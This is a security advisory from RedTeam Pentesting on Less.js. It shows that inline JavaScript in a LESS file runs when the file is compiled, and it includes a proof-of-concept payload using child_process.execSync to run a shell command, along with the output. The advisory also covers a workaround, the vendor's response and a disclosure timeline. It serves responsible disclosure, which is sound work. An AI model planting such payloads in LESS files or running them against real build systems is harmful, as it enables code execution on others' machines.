Advisory: Less.js: Compilation of Untrusted LESS Files May Lead to Code
Execution through the JavaScript Less Compiler
RedTeam Pentesting discovered behaviour in the Less.js compiler,
which allows execution of arbitrary code if an untrusted LESS file is
compiled.
Details
=======
Product: Less Compiler
Affected Versions: probably all versions
Fixed Versions: none
Vulnerability Type: Code Execution
Security Risk: low
Vendor URL: http://lesscss.org/
Vendor Status: decided not to fix
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2016-003
Advisory Status: published
Introduction
============
"Less is a CSS pre-processor, meaning that it extends the CSS language,
adding features that allow variables, mixins, functions and many other
techniques that allow you to make CSS that is more maintainable,
themable and extendable.
Less runs inside Node, in the browser and inside Rhino. There are also
many 3rd party tools that allow you to compile your files and watch for
changes."
(from the project's homepage)
More Details
============
The Less project provides a compiler [0] to transform LESS code into
CSS. Among other features, it supports embedded inline JavaScript code
in LESS files. To our knowledge, this feature is currently not
mentioned in the official documentation provided by the Less project.
However, while researching the history of the Less website it was
discovered that this feature was indeed documented in the past [1].
Third parties also document this feature [2].
The following example shows how this feature can be used. JavaScript
code can be embedded in LESS by enclosing it in backticks. In the
following, the result of the expression '1+1' is assigned to the
variable 'test':
------------------------------------------------------------------------
$ cat example.less
@test: `1+1`;
.redteam { redteam: "@{test}" }
$ lessc /tmp/example.less
.redteam {
redteam: "2";
}
------------------------------------------------------------------------
Besides evaluating simple expressions, JavaScript code embedded in LESS
files has access to several global objects. Compiling the following LESS
code yields a list of these objects:
------------------------------------------------------------------------
$ cat list.less
@test: `Object.keys(global)`;
.redteam { redteam: "@{test}" }
$ lessc list.less
.redteam {
redteam: "global, process, GLOBAL, root, Buffer, clearImmediate,
clearInterval, clearTimeout, setImmediate, setInterval, setTimeout,
console";
}
------------------------------------------------------------------------
As the proof of concept section demonstrates, access to these objects
allows attackers to craft JavaScript code that executes an arbitrary
shell command when it is evaluated in the context of the Less compiler.
Proof of Concept
================
By passing LESS code that contains malicious embedded JavaScript code to
the compiler, attackers can execute arbitrary shell commands during
compilation. The following proof of concept shows LESS code, which
executes the command 'ls -l /' and embeds the output into the compiled
CSS:
------------------------------------------------------------------------
$ cat cmd.less
@cmd: `global.process.mainModule.require("child_process")
.execSync("ls -l /")`;
.redteam { cmd: "@{cmd}" }
$ lessc cmd.less
.redteam {
cmd: "total 68
lrwxrwxrwx. 1 root root 7 Sep 10 2015 bin -> usr/bin
dr-xr-xr-x. 6 root root 4096 Aug 25 09:16 boot
drwxr-xr-x. 22 root root 4300 Aug 26 10:22 dev
drwxr-xr-x. 161 root root 12288 Aug 26 09:22 etc
drwxr-xr-x. 4 root root 4096 Aug 25 13:20 home
lrwxrwxrwx. 1 root root 7 Sep 10 2015 lib -> usr/lib
lrwxrwxrwx. 1 root root 9 Sep 10 2015 lib64 -> usr/lib64
drwx------. 2 root root 16384 Oct 29 2015 lost+found
drwxr-xr-x. 2 root root 4096 Sep 10 2015 media
drwxr-xr-x. 2 root root 4096 Sep 10 2015 mnt
drwxr-xr-x. 3 root root 4096 Oct 30 2015 opt
dr-xr-xr-x. 293 root root 0 Aug 26 08:46 proc
dr-xr-x---. 16 root root 4096 Aug 25 13:24 root
drwxr-xr-x. 2 root root 4096 Jul 20 09:44 rules.d
drwxr-xr-x. 46 root root 1340 Aug 26 09:22 run
lrwxrwxrwx. 1 root root 8 Sep 10 2015 sbin -> usr/sbin
drwxr-xr-x. 2 root root 4096 Sep 10 2015 srv
dr-xr-xr-x. 13 root root 0 Aug 26 08:47 sys
drwxrwxrwt. 19 root root 460 Aug 26 10:28 tmp
drwxr-xr-x. 12 root root 4096 Oct 29 2015 usr
drwxr-xr-x. 22 root root 4096 Aug 26 08:47 var
";
}
------------------------------------------------------------------------
Workaround
==========
Run the Less compiler with the option --no-js to disable evaluation of
JavaScript code.
Fix
===
No fix available. Release 3.0 is supposed to have JavaScript execution
disabled by default.
Security Risk
=============
An attacker can execute arbitrary code by providing a malicious LESS
file to the Less compiler. This vulnerability can be exploited in
various scenarios: If an application takes user-input and feeds it to
the Less compiler, an attacker can gain code execution and compromise
the system running the Less compiler. If a user downloads and compiles a
malicious LESS file, an attacker can compromise the user's system.
RedTeam Pentesting discovered and exploited this vulnerability in a
penetration test. However, it became increasingly clear after
consultation with the LESS development team that the encountered
situation is likely relatively rare. The reason for that is that LESS
files are usually compiled on the server-side once and most often do not
contain user-supplied content. In cases where LESS files do contain or
consist of user-supplied content, the browser-based implementation [3]
of the Less compiler is the typical choice.
Still, the official Less documentation does not mention the compiler's
feature to evaluate inline JavaScript and the consequential risks. Thus,
users are likely to be unaware that embedding user-controlled content
into a LESS file may result in arbitrary code execution. Therefore,
RedTeam Pentesting decided to release this advisory, to bring the users'
attention to this important fact.
Timeline
========
2016-03-18 Vulnerability identified
2016-05-03 Advisory provided to customer
2016-05-31 Customer approved disclosure to vendor
2016-06-24 Advisory sent to vendor
2016-07-05 Vendor debates whether it is a security issue or a
documentation issue
2016-07-12 Vendor opts for waiting until release 3.0, which disables the
option to compile JavaScript by default
2016-07-14 RedTeam downrates the vulnerability from high risk to low to
acknowledge that it is more of a setup issue
2016-11-24 Still no release 3.0, advisory released
References
==========
[0] https://github.com/less/less.js
[1] http://web.archive.org/web/20140202171923/http://www.lesscss.org/
[2] http://www.bennadel.com/blog/2638-executing-javascript-in-the-less-css-precompiler.htm
[3] http://lesscss.org/#client-side-usage
RedTeam Pentesting GmbH
=======================
RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.
As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.
More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/
--
RedTeam Pentesting GmbH Tel.: +49 241 510081-0
Dennewartstr. 25-27 Fax : +49 241 510081-99
52068 Aachen https://www.redteam-pentesting.de
Germany Registergericht: Aachen HRB 14004
Geschaftsfuhrer: Patrick Hof, Jens Liebchen